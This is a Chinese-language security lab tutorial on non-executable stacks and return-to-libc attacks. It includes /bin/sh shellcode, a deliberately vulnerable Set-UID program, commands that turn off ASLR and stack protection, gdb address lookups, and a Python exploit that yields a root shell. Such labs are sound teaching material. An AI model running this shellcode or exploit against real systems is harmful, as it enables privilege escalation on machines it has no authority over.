栈的主要目的用来存储数据,很少需要在栈中运行代码,因此,大多数程序不需要可执行的程序栈,在一些体系架构中(包括x86),可以在硬件程序面上将一段内存区域标记为不可执行。 在Ubuntu系统中,如果使用gcc编译程序,可以让gcc生成一个特殊的二进制文件,这个二进制文件头部有一个比特位,表示是否将栈设置为不可执行,当程序被加载执行时,操作系统首先为程序分配内存,然后检查该比特位,如果它被置位,那么栈的内存区域将被标记为不可执行。#include <string.h>
const char code[ ] =
"\x31\xc0"
"\x50"
"\x68" "//sh"
"\x68" "/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main ( int argc, char * * argv)
{
char buf[ sizeof ( code) ] ;
strcpy ( buf, code) ;
( ( void ( * ) ( ) ) buf) ( ) ;
}
上述代码首先将一段shellcode放入栈中的缓冲区,然后将缓冲区转换为函数,,接着调用这个函数。 运行[ 07/07/20] seed@VM:~/code$ gcc -z execstack shellcode.c
[ 07/07/20] seed@VM:~/code$ a.out
$ exit
[ 07/07/20] seed@VM:~/code$ gcc -z noexecstack shellcode.c
[ 07/07/20] seed@VM:~/code$ a.out
Segmentation fault
第一次编译时将栈设置为可执行的,可以看到成功获得了一个shell;第二个编译时,将栈设置为不可执行的,恶意代码将无法执行,系统会输出Segmentation fault。 如果想改变一个已经编译好程序的可执行栈的比特位,可以使用一个叫做execstack的工具[ 07/07/20] seed@VM:~/code$ sudo apt-get install execstack
[ 07/07/20] seed@VM:~/code$ execstack -s a.out
[ 07/07/20] seed@VM:~/code$ a.out
$ exit
[ 07/07/20] seed@VM:~/code$ execstack -c a.out
[ 07/07/20] seed@VM:~/code$ a.out
Segmentation fault
内存中有一个区域存放着很多代码,主要是标准C语言库函数,在Linux中,该库被称为libc,它是一个动态链接库,很多用户的程序都需要使用libc库中的函数,所以在这些程序运行之前,操作系统会将libc库加载到内存中。 现在的问题就变成是否存在一个libc函数可供使用,以达到恶意目的,如果存在,则可以让由漏洞的程序跳转到该libc函数,其中最容易被利用的就是system()函数,这个函数接受一个字符串作为参数,将此字符串作为一个命令来执行,有了这个函数,如果想要在缓冲区溢出后运行一个shellcode,只需要跳转到system()函数,让它来运行指定的"/bin/sh"程序即可,这就是return-to-libc攻击。
攻击实验:准备
使用存在缓冲区溢出漏洞程序stack.c.#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int foo ( char * str)
{
char buffer[ BUF_SIZE] ;
strcpy ( buffer, str) ;
return 1 ;
}
int main ( int argc, char * * argv)
{
char str[ 400 ] ;
FILE * badfile;
badfile = fopen ( "badfile" , "r" ) ;
fread ( str, sizeof ( char ) , 300 , badfile) ;
foo ( str) ;
printf ( "Returned Properly\n" ) ;
return 1 ;
}
编译以及保护机制
编译时,在打开不可执行栈的同时,需要关闭StackGuard保护机制,另外还需要关闭地址和空间布局随机化机制。
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ gcc -fno-stack-protector -z noexecstack -o stack stack.c
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ sudo sysctl -w kernel.randomize_va_space= 0
kernel.randomize_va_space = 0
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ sudo chown root stack
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ sudo chmod 4755 stack
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ ls -l stack
-rwsr-xr-x 1 root seed 7476 Jul 7 05:36 stack
发起return-to-libc攻击:第一部分
这里的目标是跳转到system()函数,然后让它执行/bin/sh,这相当于调用system("/bin/sh"),为了实现这个目标,需要执行以下三个任务:
找到system()函数地址:需要找到system()函数在内存中的地址将有漏洞程序的函数返回地址改成该地址,这样函数返回时就会跳转到system()函数。 找到字符串/bin/sh的地址。 system()函数的参数:获取/bin/sh的地址之后,需要将地址传给system()函数,system()函数从栈中获取参数,这意味着字符串的地址需要放在栈中,难点在于弄清楚参数的地址具体放在栈中哪个位置。
找到system()函数的地址
在Linux中,当一个需要使用libc的程序运行时,libc函数库将被加载到内存中,当ASLR关闭时,对同一个程序,这个函数库总是加载到相同的内存地址。 可以使用调试工具轻易找到system()函数在内存中的地址。
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ gdb -q stack
Reading symbols from stack.. .( no debugging symbols found) .. .done.
gdb-peda$ run
Starting program: /home/seed/Documents/return-to-libc/stack
.. ..
gdb-peda$ p system
$1 = { < text variable, no debug info> } 0xb7e42da0 < __libc_system>
gdb-peda$ p exit
$2 = { < text variable, no debug info> } 0xb7e369d0 < __GI_exit>
gdb-peda$
对于同一个程序,如果把它从Set-UID程序改成非Set-UID程序时,libc函数加载的地址可能时不一样的,上述调试一个要使用由漏洞的Set-UID程序,否则得到的地址可能是不对的。
找到字符串/bin/sh的地址
为了让system()函数运行/bin/sh命令,字符串/bin/sh需要预先存在内存中,它的地址需要作为参数传递给system()函数。 可以把字符串放置在缓冲区中,然后获取它的地址,或者利用环境变量,运行漏洞程序之前,定义一个环境变量MYSHELL="/bin/sh",并用export命令指明该环境变量会被传递给子进程。 下面程序用于打印出MYSHELL环境变量的地址:
int main( )
{
char* shell = ( char*) getenv( "MYSHELL" ) ;
if( shell)
{
printf( "value->%s\n" ,shell) ;
printf( "address->%x\n" ,( unsigned int) shell) ;
}
return 1;
}
运行程序[ 07/07/20] seed@VM:~/.. ./return-to-libc$ gcc -o env55 envaddr.c
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ export MYSHELL= "/bin/sh"
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ ./env55
value-> /bin/sh
address-> bffffeec
一旦ASLR被关闭,MYSHELL环境变量在由一个进程生成的不同子进程中的地址将是一样的,但需要注意的时,MYSHELL环境变量的地址和程序名称的长度有关。[ 07/07/20] seed@VM:~/.. ./return-to-libc$ mv env55 env7777
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ ./env7777
value-> /bin/sh
address-> bffffee8
环境变量保存在程序的栈中,但在环境变量被压入栈之前,首先被压入栈中的程序名称,因此,程序名称的长度将影响环境变量在内存中的位置。[ 07/07/20] seed@VM:~/.. ./return-to-libc$ gcc -g -o envaddr_dbg envaddr.c
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ gdb -q envaddr_dbg
Reading symbols from envaddr_dbg.. .done.
gdb-peda$ b main
Breakpoint 1 at 0x804844c: file envaddr.c, line 6.
gdb-peda$ run
Starting program: /home/seed/Documents/return-to-libc/envaddr_dbg
.. .
0xbffffe3a: "PWD=/home/seed/Documents/return-to-libc"
0xbffffe62: "JAVA_HOME=/usr/lib/jvm/java-8-oracle"
0xbffffe87: "LANG=en_US.UTF-8"
0xbffffe98: "LINES=21"
0xbffffea1: "SHLVL=2"
0xbffffea9: "HOME=/home/seed"
0xbffffeb9: "LOGNAME=seed"
0xbffffec6: "MYSHELL=/bin/sh"
.. .
可以看到函数名称存储在0xbffffe3a这个位置,改变程序名称继续实验,会发现所有环境变量的位置都会发送便宜。
发起return-to-libc攻击:第二部分
在return-to-libc攻击中,system()函数不是以常规方式被调用的:目标程序知识跳转到函数代码的入口,并没有为这次调用做好准备,因此函数所需要的参数并不在栈中,必须弥补这个缺失的步骤,也就是说,在漏洞程序跳转到system()之前,需要自行将参数放入栈中。 函数的第一个参数放到了%ebp+8,无论函数合适需要访问它的第一个参数,它都会使用%ebp+8作为这个参数的地址,因此,在return-to-libc攻击中,预测漏洞跳转到system()函数后ebp指向的位置是非常关键的,需要把/bin/sh字符串放置在比ebp的预测地址高8字节的位置。 一个函数的开头和结尾分别称为函数的序言和后记:
序言就是函数开头处的代码,它用于为函数准备栈和指针pushl %ebp
movl %esp, %ebp
subl $N , %esp
函数的后记是函数末尾处,用于恢复栈和寄存器到函数调用以前的状态:、movl %ebp,%esp
popl %ebp
ret
IA-32体系结构的处理器由两条内设指令:enter和leave。enter指令指向函数的序言,leave指令指向后记的前两条指令。
在发生缓冲区溢出攻击后,图中的返回地址变成了system()函数的返回地址,在foo()函数返回时,会执行foo()的后记代码,首先释放局部变量的缓冲区,此时esp和ebp指向同一个位置,然后将ebp恢复到指向main函数的栈帧,具体是多少我们无需关心,esp上移,然后弹出返回地址,esp上移,调用sytem()函数。在system()函数调用后,会执行system()函数的前言代码,首先保存ebp的值,此时esp向下移动一个单位,然后将ebp指向esp当前指向的位置,接着为局部变量开辟空间。 注意在第三个图中的2位置应该保存的是system函数的返回地址,如果随便存在一个值,当system函数返回时(/bin/sh程序结束后才会返回),程序很可能崩溃,更好的办法是将exit()函数的地址存放在哪里,这样当system函数返回时,它将跳转到exit()函数,从而完美终止程序。 现在我们需要计算上图中的1、2、3标记的3个位置距离缓冲区的偏移量:07/07/20] seed@VM:~/.. ./return-to-libc$ gcc -fno-stack-protector -z noexecstack -g -o stack_dbg stack.c
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ touch badfile
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ gdb -q stack_dbg
Reading symbols from stack_dbg.. .done.
gdb-peda$ b foo
Breakpoint 1 at 0x80484c1: file stack.c, line 13.
gdb-peda$ run
Starting program: /home/seed/Documents/return-to-libc/stack_dbg
.. .
gdb-peda$ p $ebp
$1 = ( void *) 0xbffff1b8
gdb-peda$ p & buffer
$2 = ( char ( *) [ 100] ) 0xbffff14c
gdb-peda$ p/d 0xbffff1b8-0xbffff14c
$3 = 108
gdb-peda$
从上面实验可以看出foo函数中ebp距离buffer的距离为108个字节,因此可以得出:
3位置的偏移是108+4 =112字节,此位置保存在system()函数的地址。 2位置的偏移是108+8 = 116字节,此位置保存exit()函数的地址。 1位置的偏移是108+12 = 120字节,此位置保存的是字符串/bin/sh的地址。 编写下面Python程序来构建输入,结果保存到badfile文件中,代码如下:!/ usr/ bin / python3
import sys
content = bytearray ( 0xaa for i in range ( 300 ) )
a3 = 0xbffffeec
content[ 120 : 124 ] = ( a3) . to_bytes( 4 , byteorder= 'little' )
a2 = 0xb7e369d0
content[ 116 : 120 ] = ( a2) . to_bytes( 4 , byteorder= 'little' )
a1 = 0xb7e42da0
content[ 112 : 116 ] = ( a1) . to_bytes( 4 , byteorder= 'little' )
file = open ( "badfile" , "wb" )
file . write( content)
file . close( )
运行上述程序,生成badfile,然后攻击漏洞程序stack,结果显示得到了一个 root权限的shell。[ 07/07/20] seed@VM:~/.. ./return-to-libc$ chmod u+x libc_exploit.py
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ ./libc_exploit.py
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ sudo ln -sf /bin/zsh /bin/sh
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ export MYSHELL= "/bin/sh"
[ 07/07/20] seed@VM:~/.. ./return-to-libc$ ./stack
uid= 1000( seed) gid= 1000( seed) euid= 0( root) groups= 1000( seed) ,4( adm) ,24( cdrom) ,27( sudo) ,30( dip) ,46( plugdev) ,113( lpadmin) ,128( sambashare)
返回导向编程
Shacham在一篇论文中演示了return-to-libc攻击不需要一定要返回到一个已有的函数,从而把return-to-libc推广到返回导向编程(ROP) ROP的思想是巧妙地把内存中的一些小的指令序列串起来,这些指令其实并不放在一起,但它们最后一个指令都是return,通过正确设置栈上的返回地址域,可以使得一个序列执行完毕后执行return指令返回时,会返回到下一个指令序列。通过这种方法,可以把不在一起的指令串起来,Shacham在文章中指出,libc函数库中可以找到所需要的指令序列来完成几乎任何操作。
总结
在return-to-libc攻击中,通过改变返回地址,攻击者能够是目标程序跳转到已经被加载到内存中的某个libc库中的函数,system()函数是一个好的选择,如果攻击者能够跳转到这个函数,使它执行system("/bin/sh"),这将会产生一个root shell。这个攻击最主要的难点时找到system()函数存放参数的位置,使得当进入system()函数之后,system()函数能够正确获取指令字符串参数。